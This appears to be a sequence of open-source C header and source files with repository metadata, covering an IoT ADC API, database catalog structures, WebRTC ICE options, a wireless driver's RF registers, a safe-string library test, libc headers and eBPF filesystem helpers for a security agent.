* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of adc_context
* @return On success, IOTBUS_ADC_RDY or IOTBUS_ADC_BUSY is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int iotbus_adc_get_state(iotbus_adc_context_h hnd);
/**
* @brief start adc asynchronous read.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of adc_context
* @param[in] read_cb callback function called adc read is done.
* @return On success, 0 is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int iotbus_adc_start(iotbus_adc_context_h hnd, const adc_read_cb read_cb);
/**
* @brief stop adc asynchronous read.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of adc_context
* @return On success, 0 is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int iotbus_adc_stop(iotbus_adc_context_h hnd);
/**
* @brief adc synchronous read.
*
* @details @b #include <iotbus/iotbus_adc.h>
* @param[in] hnd handle of adc_context
* @param[in] timeout timeout value (ms).
* @return On success, ADC sample value is returned. On failure, a negative value is returned.
* @since TizenRT v2.0
*/
int32_t iotbus_adc_get_sample(iotbus_adc_context_h hnd, int timeout);
#ifdef __cplusplus
}
#endif
#endif /* IOTBUS_ADC_H_ */
/** @} */ // end of ADC group
|
cf1d47a23d071215fb3451dfba30575c11e6ce2b
|
bb38c44037a99d0a12a12d92059678f2faebbc80
|
/src/include/catalog/pg_uid_fn.h
|
cd9dd1e8c578c4c4423cc5a0d64cf0a6b2ca9f03
|
[
"LicenseRef-scancode-mulanpsl-2.0-en",
"LicenseRef-scancode-unknown-license-reference",
"PostgreSQL",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"LicenseRef-scancode-unicode",
"LicenseRef-scancode-warranty-disclaimer",
"curl",
"GPL-1.0-or-later",
"LGPL-2.1-or-later",
"LGPL-2.1-only",
"CC-BY-4.0",
"LicenseRef-scancode-protobuf",
"OpenSSL",
"LicenseRef-scancode-generic-export-compliance",
"X11-distribute-modifications-variant",
"LicenseRef-scancode-other-permissive",
"MIT",
"NCSA",
"Python-2.0",
"LicenseRef-scancode-openssl",
"LicenseRef-scancode-ssleay-windows",
"CC-BY-3.0",
"LicenseRef-scancode-other-copyleft",
"GPL-2.0-only",
"BSL-1.0",
"Apache-2.0",
"LGPL-2.0-only",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"Zlib"
] |
permissive
|
opengauss-mirror/openGauss-server
|
a9c5a62908643492347830826c56da49f0942796
|
310e84631c68c8bf37b004148b66f94064f701e4
|
refs/heads/master
| 2023-07-26T19:29:12.495484
| 2023-07-17T12:23:32
| 2023-07-17T12:23:32
| 276,117,477
| 591
| 208
|
MulanPSL-2.0
| 2023-04-28T12:30:18
| 2020-06-30T14:08:59
|
C++
|
UTF-8
|
C
| false
| false
| 1,669
|
h
|
pg_uid_fn.h
|
/*
* Copyright (c) 2020 Huawei Technologies Co.,Ltd.
*
* openGauss is licensed under Mulan PSL v2.
* You can use this software according to the terms and conditions of the Mulan PSL v2.
* You may obtain a copy of Mulan PSL v2 at:
*
* http://license.coscl.org.cn/MulanPSL2
*
* THIS SOFTWARE IS PROVIDED ON AN "AS IS" BASIS, WITHOUT WARRANTIES OF ANY KIND,
* EITHER EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO NON-INFRINGEMENT,
* MERCHANTABILITY OR FIT FOR A PARTICULAR PURPOSE.
* See the Mulan PSL v2 for more details.
* ---------------------------------------------------------------------------------------
*
* pg_uid_fn.h
*
*
* IDENTIFICATION
* src/include/catalog/pg_uid_fn.h
*
* ---------------------------------------------------------------------------------------
*/
#ifndef PG_UID_FN_H
#define PG_UID_FN_H
#define BACKUP_NO_START (0)
#define BACKUP_IN_PROGRESS (1)
#ifdef USE_ASSERT_CHECKING
#define UID_RESTORE_DURATION (5)
#else
#define UID_RESTORE_DURATION (2000000)
#endif
typedef struct UidHashKey {
Oid dbOid; /* database */
Oid relOid; /* relation */
} UidHashKey;
typedef struct UidHashValue {
/* key field */
UidHashKey key;
pg_atomic_uint64 currentUid;
pg_atomic_uint64 backupUidRange;
pg_atomic_uint32 backUpState;
} UidHashValue;
extern void DeleteDatabaseUidEntry(Oid dbOid);
extern void DeleteUidEntry(Oid relid);
extern void InsertUidEntry(Oid relid);
extern void UpdateUidEntry(Oid dbOid, Oid relOid, uint64 backupUid);
extern void InitUidCache(void);
extern uint64 GetNewUidForTuple(Relation relation);
extern void BuildUidHashCache(Oid dbOid, Oid relOid);
#endif
|
14f89af0724ba3f902dc2e3b91e09febe6933e16
|
71349a4947f71965bc1ead26543313ddbeafd62a
|
/src/ice_gather_options/utils.c
|
ae51caa5098760805d673631952ce65c3a7bb993
|
[
"BSD-2-Clause"
] |
permissive
|
rawrtc/rawrtc
|
377d131a6e0f1e76b1bdf7e452491682712ad9a5
|
e80aa9fd432e299efac5b2c84ab873f887682acc
|
refs/heads/master
| 2022-07-06T17:01:00.928300
| 2021-12-23T08:07:35
| 2021-12-23T08:07:35
| 80,470,566
| 403
| 41
|
BSD-2-Clause
| 2021-12-23T08:07:36
| 2017-01-30T22:32:38
|
C
|
UTF-8
|
C
| false
| false
| 2,277
|
c
|
utils.c
|
#include "options.h"
#include "../ice_server/server.h"
#include <rawrtc/ice_gather_options.h>
#include <rawrtc/ice_server.h>
#include <rawrtcc/code.h>
#include <re.h>
static enum rawrtc_ice_gather_policy const map_enum_ice_gather_policy[] = {
RAWRTC_ICE_GATHER_POLICY_ALL,
RAWRTC_ICE_GATHER_POLICY_NOHOST,
RAWRTC_ICE_GATHER_POLICY_RELAY,
};
static char const* const map_str_ice_gather_policy[] = {
"all",
"nohost",
"relay",
};
static size_t const map_ice_gather_policy_length = ARRAY_SIZE(map_enum_ice_gather_policy);
/*
* Translate an ICE gather policy to str.
*/
char const* rawrtc_ice_gather_policy_to_str(enum rawrtc_ice_gather_policy const policy) {
size_t i;
for (i = 0; i < map_ice_gather_policy_length; ++i) {
if (map_enum_ice_gather_policy[i] == policy) {
return map_str_ice_gather_policy[i];
}
}
return "???";
}
/*
* Translate a str to an ICE gather policy (case-insensitive).
*/
enum rawrtc_code rawrtc_str_to_ice_gather_policy(
enum rawrtc_ice_gather_policy* const policyp, // de-referenced
char const* const str) {
size_t i;
// Check arguments
if (!policyp || !str) {
return RAWRTC_CODE_INVALID_ARGUMENT;
}
for (i = 0; i < map_ice_gather_policy_length; ++i) {
if (str_casecmp(map_str_ice_gather_policy[i], str) == 0) {
*policyp = map_enum_ice_gather_policy[i];
return RAWRTC_CODE_SUCCESS;
}
}
return RAWRTC_CODE_NO_VALUE;
}
/*
* Print debug information for the ICE gather options.
*/
int rawrtc_ice_gather_options_debug(
struct re_printf* const pf, struct rawrtc_ice_gather_options const* const options) {
int err = 0;
struct le* le;
// Check arguments
if (!options) {
return 0;
}
err |= re_hprintf(pf, "----- ICE Gather Options <%p> -----\n", options);
// Gather policy
err |= re_hprintf(
pf, " gather_policy=%s\n", rawrtc_ice_gather_policy_to_str(options->gather_policy));
// ICE servers
for (le = list_head(&options->ice_servers); le != NULL; le = le->next) {
struct rawrtc_ice_server* const server = le->data;
err |= re_hprintf(pf, "%H", rawrtc_ice_server_debug, server);
}
// Done
return err;
}
|
b1addf170979fa7c8744bae951957c2da9bae4b7
|
3b2115577058e4977fa95aed7b8646a9f8dc03c5
|
/raylib-window.h
|
d3584d19028adf57da6fc0d17cfd55af6ce81582
|
[
"LicenseRef-scancode-unknown-license-reference",
"LicenseRef-scancode-other-permissive",
"Zlib"
] |
permissive
|
joseph-montanez/raylib-php
|
7d91f5c12c225edb8d601b5c1eec65739d3dae64
|
2968648bb71bd8ec59666491ec8dbb7e6d4ba7f5
|
refs/heads/master
| 2022-12-11T02:24:05.845318
| 2022-02-21T09:34:34
| 2022-02-21T09:34:34
| 128,349,014
| 160
| 13
|
Zlib
| 2021-03-13T11:31:16
| 2018-04-06T05:35:41
|
C
|
UTF-8
|
C
| false
| false
| 589
|
h
|
raylib-window.h
|
//
// Created by Joseph Montanez on 4/7/18.
//
#ifndef PHP_RAYLIB_WINDOW_H
#define PHP_RAYLIB_WINDOW_H
extern zend_class_entry *php_raylib_window_ce;
typedef struct _php_raylib_window_object {
zend_object std;
} php_raylib_window_object;
static inline php_raylib_window_object *php_raylib_window_fetch_object(zend_object *obj) {
return (php_raylib_window_object *)((char *)obj - XtOffsetOf(php_raylib_window_object, std));
}
#define Z_WINDOW_OBJ_P(zv) php_raylib_window_fetch_object(Z_OBJ_P(zv));
void php_raylib_window_startup(INIT_FUNC_ARGS);
#endif //PHP_RAYLIB_WINDOW_H
|
164e3274449040a38dd8dfc172b0f8dd28a289dc
|
342983ac4a4ddc27ffa33d48eae37bdd6237c618
|
/include/mac_ral/rf_ctrl.h
|
3766f8f92e2fe79ee24eb59c410c5aff39db95f8
|
[
"MIT"
] |
permissive
|
chenhaiq/mt7610u_wifi_sta_v3002_dpo_20130916
|
9bbba99ecc921ce54e79038495a79b2df848956b
|
092d218723b8d50816b3bfb377675f5658a8ac4a
|
refs/heads/master
| 2022-08-10T15:47:25.607687
| 2017-08-18T16:37:02
| 2021-01-05T05:29:30
| 30,166,779
| 156
| 87
|
MIT
| 2022-07-27T03:52:36
| 2015-02-02T01:50:46
|
C
|
UTF-8
|
C
| false
| false
| 3,813
|
h
|
rf_ctrl.h
|
/*
*************************************************************************
* Ralink Tech Inc.
* 5F., No.36, Taiyuan St., Jhubei City,
* Hsinchu County 302,
* Taiwan, R.O.C.
*
* (c) Copyright 2002-2010, Ralink Technology, Inc.
*
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU General Public License as published by *
* the Free Software Foundation; either version 2 of the License, or *
* (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the *
* Free Software Foundation, Inc., *
* 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
*************************************************************************/
#ifndef __RF_CTRL_H__
#define __RF_CTRL_H__
#ifdef RTMP_MAC
#include "mac_ral/omac/ral_omac_rf_ctrl.h"
#endif /* RTMP_MAC */
#ifdef RLT_MAC
#endif /* RLT_MAC */
/* ================================================================================= */
/* Register format for RFCTRL */
/* ================================================================================= */
#define RF_CSR_CFG 0x500
#ifdef RLT_RF
#define RF_BANK0 0
#define RF_BANK1 1
#define RF_BANK2 2
#define RF_BANK3 3
#define RF_BANK4 4
#define RF_BANK5 5
#define RF_BANK6 6
#define RF_BANK7 7
#define RF_BANK8 8
#define RF_BANK9 9
#define RF_BANK10 10
#define RF_BANK11 11
#define RF_BANK12 12
#define RF_BANK13 13
#define RF_BANK14 14
#define RF_BANK15 15
/* @!Release
RF_CSR_KICK:1
Write - kick RF register read/write
0: do nothing
1: kick read/write process
Read - Polling RF register read/write
0: idle
1: busy
RF_CSR_RW:1
0: read 1: write
rsv:12
RF_CSR_REG_ID:10
RF register ID, 0 for R0, 1 for R1 and so on
Bits [17:15] 3 bits, indicates the bank number
Bits [14:08] 7 bits, indicates the register number
RF_CSR_DATA:8
DATA written to/read from RF
*/
typedef union _RLT_RF_CSR_CFG {
#ifdef RT_BIG_ENDIAN
struct {
UINT RF_CSR_KICK:1;
UINT RF_CSR_WR:1;
UINT rsv:12;
UINT RF_CSR_REG_BANK:3;
UINT RF_CSR_REG_ID:7;
UINT RF_CSR_DATA:8;
} field;
#else
struct {
UINT RF_CSR_DATA:8;
UINT RF_CSR_REG_ID:7;
UINT RF_CSR_REG_BANK:3;
UINT rsv:12;
UINT RF_CSR_WR:1;
UINT RF_CSR_KICK:1;
} field;
#endif /* RT_BIG_ENDIAN */
UINT word;
}RLT_RF_CSR_CFG;
#endif /* RLT_RF */
typedef union _RF_CSR_CFG_STRUC {
#ifdef RT_BIG_ENDIAN
struct {
UINT32 Rsvd1:14; /* Reserved */
UINT32 RF_CSR_KICK:1; /* kick RF register read/write */
UINT32 RF_CSR_WR:1; /* 0: read 1: write */
UINT32 TESTCSR_RFACC_REGNUM:8; /* RF register ID */
UINT32 RF_CSR_DATA:8; /* DATA */
} field;
#else
struct {
UINT32 RF_CSR_DATA:8;
UINT32 TESTCSR_RFACC_REGNUM:8;
UINT32 RF_CSR_WR:1;
UINT32 RF_CSR_KICK:1;
UINT32 Rsvd1:14;
} field;
#endif /* RT_BIG_ENDIAN */
UINT32 word;
}RF_CSR_CFG_STRUC;
#define RF_BYPASS_0 0x0504
#define RF_SETTING_0 0x050C
#endif /* __RF_CTRL_H__ */
|
53f3a2e84239c2c9ff00bae1e46b96d8465c1748
|
722c0a166c811e66a4a77f6cd985e0ecf5140123
|
/tests/test_strerror_s.c
|
12fcf7670dd3335905ed1c392638e617379f92ee
|
[
"MIT"
] |
permissive
|
rurban/safeclib
|
0fcb1f505cff4c4ff0a765e4ea9ff6b9082dfa72
|
3e943f7317448ab98046ed99d86d45e300224d12
|
refs/heads/master
| 2023-08-23T22:30:47.117025
| 2023-02-23T13:08:52
| 2023-02-23T13:08:52
| 88,128,310
| 282
| 69
|
NOASSERTION
| 2022-10-06T11:44:57
| 2017-04-13T05:29:04
|
C
|
UTF-8
|
C
| false
| false
| 2,783
|
c
|
test_strerror_s.c
|
/*------------------------------------------------------------------
* test_strerror_s
* File 'str/strerror_s.c'
* Lines executed:88.89% of 27
*
*------------------------------------------------------------------
*/
#include "test_private.h"
#include "safe_str_lib.h"
#ifdef HAVE_STRERROR_S
#define HAVE_NATIVE 1
#else
#define HAVE_NATIVE 0
#endif
#include "test_msvcrt.h"
#ifndef ELAST
#define ELAST 100
#endif
#define LEN (128)
static char str1[LEN];
int test_strerror_s(void);
int test_strerror_s(void) {
errno_t rc;
int i;
size_t len;
int errs = 0;
/*--------------------------------------------------*/
print_msvcrt(use_msvcrt);
#ifndef HAVE_CT_BOS_OVR
EXPECT_BOS("empty dest")
rc = strerror_s(NULL, LEN, 0);
init_msvcrt(rc == ESNULLP, &use_msvcrt);
ERR_MSVC(ESNULLP, EINVAL);
EXPECT_BOS("empty dest or dmax")
rc = strerror_s(str1, 0, 0);
ERR_MSVC(ESZEROL, EINVAL);
EXPECT_BOS("dest overflow")
rc = strerror_s(str1, (RSIZE_MAX_STR + 1), 0);
ERR_MSVC(ESLEMAX, EINVAL);
#endif
/*--------------------------------------------------*/
rc = strerror_s(str1, 3, 1);
ERR_MSVC(ESLEMIN, 0);
/*--------------------------------------------------*/
for (i = 0; i <= ELAST; i++) {
rc = strerror_s(str1, LEN, i);
ERR(EOK);
}
for (i = ELAST + 1; i < 400; i++) {
rc = strerror_s(str1, LEN, i);
ERR(EOK); /* Unknown error */
}
for (i = 400; i <= ESLAST; i++) {
rc = strerror_s(str1, LEN, i);
ERR(EOK);
}
/*--------------------------------------------------*/
for (i = 0; i <= ELAST; i++) {
rc = strerror_s(str1, 30, i);
len = strerrorlen_s(i);
if (len < 30) {
ERR(EOK);
} else {
size_t ind = strlen(str1);
if (ind != 29) {
INDCMP(!= 29);
debug_printf("%s %u strerror_s(%d) => %d:%d \"%s\" \n",
__FUNCTION__, __LINE__, i, (int)len,
(int)strlen(str1), str1);
}
ERR(EOK);
}
}
for (i = 400; i <= 409; i++) {
rc = strerror_s(str1, 30, i);
len = strerrorlen_s(i);
if (len < 30) {
ERR(EOK);
} else {
size_t ind = strlen(str1);
if (ind != 29) {
INDCMP(!= 29);
debug_printf("%s %u strerror_s(%d) => %d:%d \"%s\" \n",
__FUNCTION__, __LINE__, i, (int)len,
(int)strlen(str1), str1);
}
ERR(EOK);
}
}
/*--------------------------------------------------*/
return (errs);
}
int main(void) { return (test_strerror_s()); }
|
109b4109fb0299d113210de04d900c0515cb6015
|
9385e8422b301fed4f6799026b14ce0962aabada
|
/iOS/Demo/TXLiteAVDemo/AudioSettingKit/AudioSettingKit/Tool/TCCommonTool.h
|
eb15b59ba538b09bf89d6ba1c8af7526fde5d774
|
[] |
no_license
|
tencentyun/MLVBSDK
|
70186fc1b01acbdf4acb638340a2a79f277292bb
|
1d71132f68218436fdbcd0d6e1cf6b1e70a665ae
|
refs/heads/master
| 2023-09-01T13:25:19.166236
| 2022-10-08T12:08:04
| 2022-10-08T12:08:04
| 185,898,502
| 865
| 1,023
| null | 2022-05-19T06:57:47
| 2019-05-10T01:41:28
|
Objective-C
|
UTF-8
|
C
| false
| false
| 298
|
h
|
TCCommonTool.h
|
//
// TCCommonTool.h
// AudioSettingKit
//
// Created by abyyxwang on 2020/5/27.
// Copyright © 2020 tencent. All rights reserved.
//
#ifndef TCCommonTool_h
#define TCCommonTool_h
#define kScreenValue(value) value * 375 / [UIScreen mainScreen].bounds.size.width
#endif /* TCCommonTool_h */
|
a3dffb0a41536c8b6e42de35e130de6443315c3e
|
ed7189bcb31973648dca4cb9f0d67cb4653d0e70
|
/options/linux/include/scsi/scsi.h
|
71ed0e96f715a78b26999b950e4621d593bb7d42
|
[
"MIT"
] |
permissive
|
managarm/mlibc
|
6dedaa86ed74f26a52e300d97f6e5949bac0f93c
|
74efefb5e9e546adab60a5730d95165334d7ee15
|
refs/heads/master
| 2023-09-01T05:17:26.709378
| 2023-08-29T08:33:01
| 2023-08-29T08:33:01
| 63,353,495
| 717
| 173
|
MIT
| 2023-09-10T10:55:53
| 2016-07-14T16:46:51
|
C
|
UTF-8
|
C
| false
| false
| 328
|
h
|
scsi.h
|
#ifndef _LINUX_SCSI_SCSI_H
#define _LINUX_SCSI_SCSI_H
#define RECOVERED_ERROR 0x01
#define ILLEGAL_REQUEST 0x05
#define UNIT_ATTENTION 0x06
#define SCSI_IOCTL_GET_IDLUN 0x5382
#define SCSI_IOCTL_TAGGED_ENABLE 0x5383
#define SCSI_IOCTL_TAGGED_DISABLE 0x5384
#define SCSI_IOCTL_PROBE_HOST 0x5385
#endif // _LINUX_SCSI_SCSI_H
|
b3ad5c3b3b08e7ab84899550eee34848131022bb
|
ed7189bcb31973648dca4cb9f0d67cb4653d0e70
|
/options/glibc/include/sys/personality.h
|
04563a0e29757f8515d9da7a2fb1d1a5b9432834
|
[
"MIT"
] |
permissive
|
managarm/mlibc
|
6dedaa86ed74f26a52e300d97f6e5949bac0f93c
|
74efefb5e9e546adab60a5730d95165334d7ee15
|
refs/heads/master
| 2023-09-01T05:17:26.709378
| 2023-08-29T08:33:01
| 2023-08-29T08:33:01
| 63,353,495
| 717
| 173
|
MIT
| 2023-09-10T10:55:53
| 2016-07-14T16:46:51
|
C
|
UTF-8
|
C
| false
| false
| 1,509
|
h
|
personality.h
|
#ifndef _SYS_PERSONALITY_H
#define _SYS_PERSONALITY_H
#ifdef __cplusplus
extern "C" {
#endif
enum {
UNAME26 = 0x0020000,
ADDR_NO_RANDOMIZE = 0x0040000,
FDPIC_FUNCPTRS = 0x0080000,
MMAP_PAGE_ZERO = 0x0100000,
ADDR_COMPAT_LAYOUT = 0x0200000,
READ_IMPLIES_EXEC = 0x0400000,
ADDR_LIMIT_32BIT = 0x0800000,
SHORT_INODE = 0x1000000,
WHOLE_SECONDS = 0x2000000,
STICKY_TIMEOUTS = 0x4000000,
ADDR_LIMIT_3GB = 0x8000000,
};
enum {
PER_LINUX = 0x0000,
PER_LINUX_32BIT = 0x0000 | ADDR_LIMIT_32BIT,
PER_LINUX_FDPIC = 0x0000 | FDPIC_FUNCPTRS,
PER_SVR4 = 0x0001 | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
PER_SVR3 = 0x0002 | STICKY_TIMEOUTS | SHORT_INODE,
PER_SCOSVR3 = 0x0003 | STICKY_TIMEOUTS | WHOLE_SECONDS | SHORT_INODE,
PER_OSR5 = 0x0003 | STICKY_TIMEOUTS | WHOLE_SECONDS,
PER_WYSEV386 = 0x0004 | STICKY_TIMEOUTS | SHORT_INODE,
PER_ISCR4 = 0x0005 | STICKY_TIMEOUTS,
PER_BSD = 0x0006,
PER_SUNOS = 0x0006 | STICKY_TIMEOUTS,
PER_XENIX = 0x0007 | STICKY_TIMEOUTS | SHORT_INODE,
PER_LINUX32 = 0x0008,
PER_LINUX32_3GB = 0x0008 | ADDR_LIMIT_3GB,
PER_IRIX32 = 0x0009 | STICKY_TIMEOUTS,
PER_IRIXN32 = 0x000a | STICKY_TIMEOUTS,
PER_IRIX64 = 0x000b | STICKY_TIMEOUTS,
PER_RISCOS = 0x000c,
PER_SOLARIS = 0x000d | STICKY_TIMEOUTS,
PER_UW7 = 0x000e | STICKY_TIMEOUTS | MMAP_PAGE_ZERO,
PER_OSF4 = 0x000f,
PER_HPUX = 0x0010,
PER_MASK = 0x00ff,
};
#ifndef __MLIBC_ABI_ONLY
int personality(unsigned long persona);
#endif /* !__MLIBC_ABI_ONLY */
#ifdef __cplusplus
}
#endif
#endif // _SYS_PERSONALITY_H
|
5d850efe89b675fc508242c9e8202354ce622f30
|
4692f28f86ee84a76abfac8cc8a0dd41fcd402e4
|
/pkg/security/ebpf/c/include/helpers/filesystem.h
|
8e9c8391d875f35d54a2e0a9c2dc618483f03522
|
[
"GPL-2.0-only",
"CC0-1.0",
"BSD-3-Clause",
"Apache-2.0",
"GPL-1.0-or-later",
"MIT",
"0BSD",
"Unlicense",
"LicenseRef-scancode-public-domain",
"BSD-2-Clause",
"BSD-2-Clause-Views",
"MPL-2.0"
] |
permissive
|
DataDog/datadog-agent
|
cc4b89839d6031903bf23aa12eccc2a3f3c7f213
|
d960cdb7de8fa5d1c7138cfe58e754af80cb796a
|
refs/heads/main
| 2023-09-04T10:45:08.138748
| 2023-09-04T09:13:43
| 2023-09-04T09:13:43
| 49,970,739
| 2,388
| 1,288
|
Apache-2.0
| 2023-09-14T20:06:34
| 2016-01-19T17:40:41
|
Go
|
UTF-8
|
C
| false
| false
| 5,376
|
h
|
filesystem.h
|
#ifndef _HELPERS_FILESYSTEM_H_
#define _HELPERS_FILESYSTEM_H_
#include "constants/custom.h"
#include "constants/enums.h"
#include "constants/offsets/filesystem.h"
#include "events_definition.h"
#include "maps.h"
#include "perf_ring.h"
#include "dentry_resolver.h"
#include "discarders.h"
static __attribute__((always_inline)) void bump_path_id(u32 mount_id) {
u32 key = mount_id % PATH_ID_MAP_SIZE;
u32 *prev_id = bpf_map_lookup_elem(&path_id, &key);
if (prev_id) {
__sync_fetch_and_add(prev_id, 1);
}
}
static __attribute__((always_inline)) u32 get_path_id(u32 mount_id, int invalidate) {
u32 key = mount_id % PATH_ID_MAP_SIZE;
u32 *prev_id = bpf_map_lookup_elem(&path_id, &key);
if (!prev_id) {
return 0;
}
u32 id = *prev_id;
// need to invalidate the current path id for event which may change the association inode/name like
// unlink, rename, rmdir.
if (invalidate) {
__sync_fetch_and_add(prev_id, 1);
}
return id;
}
static __attribute__((always_inline)) void update_path_id(struct path_key_t *path_key, int invalidate) {
path_key->path_id = get_path_id(path_key->mount_id, invalidate);
}
static __attribute__((always_inline)) void inc_mount_ref(u32 mount_id) {
u32 key = mount_id;
struct mount_ref_t zero = {};
bpf_map_update_elem(&mount_ref, &key, &zero, BPF_NOEXIST);
struct mount_ref_t *ref = bpf_map_lookup_elem(&mount_ref, &key);
if (ref) {
__sync_fetch_and_add(&ref->counter, 1);
}
}
static __attribute__((always_inline)) void dec_mount_ref(ctx_t *ctx, u32 mount_id) {
u32 key = mount_id;
struct mount_ref_t *ref = bpf_map_lookup_elem(&mount_ref, &key);
if (ref) {
__sync_fetch_and_add(&ref->counter, -1);
if (ref->counter > 0 || !ref->umounted) {
return;
}
bpf_map_delete_elem(&mount_ref, &key);
} else {
return;
}
bump_mount_discarder_revision(mount_id);
bump_path_id(mount_id);
struct mount_released_event_t event = {
.mount_id = mount_id,
};
send_event(ctx, EVENT_MOUNT_RELEASED, event);
}
static __attribute__((always_inline)) void umounted(struct pt_regs *ctx, u32 mount_id) {
u32 key = mount_id;
struct mount_ref_t *ref = bpf_map_lookup_elem(&mount_ref, &key);
if (ref) {
if (ref->counter <= 0) {
bpf_map_delete_elem(&mount_ref, &key);
} else {
ref->umounted = 1;
return;
}
}
bump_mount_discarder_revision(mount_id);
bump_path_id(mount_id);
struct mount_released_event_t event = {
.mount_id = mount_id,
};
send_event(ctx, EVENT_MOUNT_RELEASED, event);
}
void __attribute__((always_inline)) fill_resolver_mnt(void *ctx, struct syscall_cache_t *syscall, int dr_type) {
struct dentry *dentry = get_vfsmount_dentry(get_mount_vfsmount(syscall->unshare_mntns.mnt));
syscall->unshare_mntns.root_key.mount_id = get_mount_mount_id(syscall->unshare_mntns.mnt);
syscall->unshare_mntns.root_key.ino = get_dentry_ino(dentry);
struct super_block *sb = get_dentry_sb(dentry);
struct file_system_type *s_type = get_super_block_fs(sb);
bpf_probe_read(&syscall->unshare_mntns.fstype, sizeof(syscall->unshare_mntns.fstype), &s_type->name);
syscall->resolver.key = syscall->unshare_mntns.root_key;
syscall->resolver.dentry = dentry;
syscall->resolver.discarder_type = 0;
syscall->resolver.callback = DR_UNSHARE_MNTNS_STAGE_ONE_CALLBACK_KPROBE_KEY;
syscall->resolver.iteration = 0;
syscall->resolver.ret = 0;
resolve_dentry(ctx, dr_type);
// if the tail call fails, we need to pop the syscall cache entry
pop_syscall(syscall->type);
}
int __attribute__((always_inline)) get_pipefs_mount_id(void) {
u32 key = 0;
u32* val = bpf_map_lookup_elem(&pipefs_mountid, &key);
if (val) { return *val; }
return 0;
}
int __attribute__((always_inline)) is_pipefs_mount_id(u32 id) {
u32 pipefs_id = get_pipefs_mount_id();
if (!pipefs_id) { return 0; }
return (pipefs_id == id);
}
void __attribute__((always_inline)) fill_file_metadata(struct dentry* dentry, struct file_metadata_t* file) {
struct inode *d_inode = get_dentry_inode(dentry);
bpf_probe_read(&file->nlink, sizeof(file->nlink), (void *)&d_inode->i_nlink);
bpf_probe_read(&file->mode, sizeof(file->mode), &d_inode->i_mode);
bpf_probe_read(&file->uid, sizeof(file->uid), &d_inode->i_uid);
bpf_probe_read(&file->gid, sizeof(file->gid), &d_inode->i_gid);
bpf_probe_read(&file->ctime, sizeof(file->ctime), &d_inode->i_ctime);
bpf_probe_read(&file->mtime, sizeof(file->mtime), &d_inode->i_mtime);
}
#define get_dentry_key_path(dentry, path) (struct path_key_t) { .ino = get_dentry_ino(dentry), .mount_id = get_path_mount_id(path) }
#define get_inode_key_path(inode, path) (struct path_key_t) { .ino = get_inode_ino(inode), .mount_id = get_path_mount_id(path) }
static __attribute__((always_inline)) void set_file_inode(struct dentry *dentry, struct file_t *file, int invalidate) {
file->path_key.path_id = get_path_id(file->path_key.mount_id, invalidate);
if (!file->path_key.ino) {
file->path_key.ino = get_dentry_ino(dentry);
}
if (is_overlayfs(dentry)) {
set_overlayfs_ino(dentry, &file->path_key.ino, &file->flags);
}
}
#endif
|
f590901171af01926790a28abc590b297a4b67cb
|
2ff8c59ae7c7ef805b1e89191a459f614e0f9c4d
|
/src/libmongoc/tests/test-atlas-executor.c
|
d57c9315630ecf9a31f91dbf329b309cd82592be
|
[
"Apache-2.0"
] |
permissive
|
mongodb/mongo-c-driver
|
e02c40e01fb921a29750cf1c0205678f9c86a741
|
5c101ce5a565ffa9d160b6e44fb276b502b57157
|
refs/heads/master
| 2023-09-06T09:32:54.594891
| 2023-09-01T19:21:01
| 2023-09-01T19:21:01
| 9,735,077
| 811
| 506
|
Apache-2.0
| 2023-09-14T18:10:00
| 2013-04-28T19:34:36
|
C
|
UTF-8
|
C
| false
| false
| 2,197
|
c
|
test-atlas-executor.c
|
#include "TestSuite.h"
#include "unified/operation.h"
#include "unified/runner.h"
#include "json-test.h"
#include "test-libmongoc.h"
#include <bson/bson.h>
#include <assert.h>
#include <signal.h>
#include <stdio.h>
static void
TestSuite_Init_Atlas (TestSuite *suite, int argc, char **argv)
{
ASSERT_WITH_MSG (argc > 1, "test-atlas-executor requires a workload spec!");
*suite = (TestSuite){
.ctest_run = NULL,
.failing_flaky_skips = {0},
.flags = TEST_NOFORK,
.match_patterns = {0},
.mock_server_log = NULL,
.mock_server_log_buf = NULL,
.name = bson_strdup ("/atlas"),
.outfile = NULL,
.prgname = bson_strdup (argv[0]),
.silent = false,
.tests = NULL,
};
}
// Used to ensure that repeated SIGINT are not ignored.
void (*original_sigint_handler) (int) = NULL;
static void
sigint_handler (int sigint)
{
assert (sigint == SIGINT);
operation_loop_terminated = true;
signal (SIGINT, original_sigint_handler);
}
static void
TestSuite_Run_Atlas (TestSuite *suite)
{
BSON_ASSERT_PARAM (suite);
Test *const test = suite->tests;
ASSERT_WITH_MSG (test, "missing expected test in test suite");
ASSERT_WITH_MSG (!test->next, "expected exactly one test in test suite");
original_sigint_handler = signal (SIGINT, sigint_handler);
srand (test->seed);
test_conveniences_init ();
test->func (test->ctx);
test_conveniences_cleanup ();
capture_logs (false);
}
int
main (int argc, char **argv)
{
ASSERT_WITH_MSG (argc > 1, "test-atlas-executor requires a workload spec!");
TestSuite suite = {0};
TestSuite_Init_Atlas (&suite, argc, argv);
bson_error_t error;
bson_t *const bson =
bson_new_from_json ((const uint8_t *) argv[1], -1, &error);
ASSERT_OR_PRINT (bson, error);
TestSuite_AddFull (&suite,
"test",
(TestFuncWC) &run_one_test_file,
(TestFuncDtor) &bson_destroy,
bson,
TestSuite_CheckLive,
NULL);
mongoc_init ();
TestSuite_Run_Atlas (&suite);
mongoc_cleanup ();
TestSuite_Destroy (&suite);
return 0;
}
|
a5131d79e0b6648002c17d81e174fe20f4f7a5b3
|
c8b39acfd4a857dc15ed3375e0d93e75fa3f1f64
|
/Engine/Extras/ThirdPartyNotUE/GNU_Make/make-3.81/src/make/3.81/make-3.81-src/dep.h
|
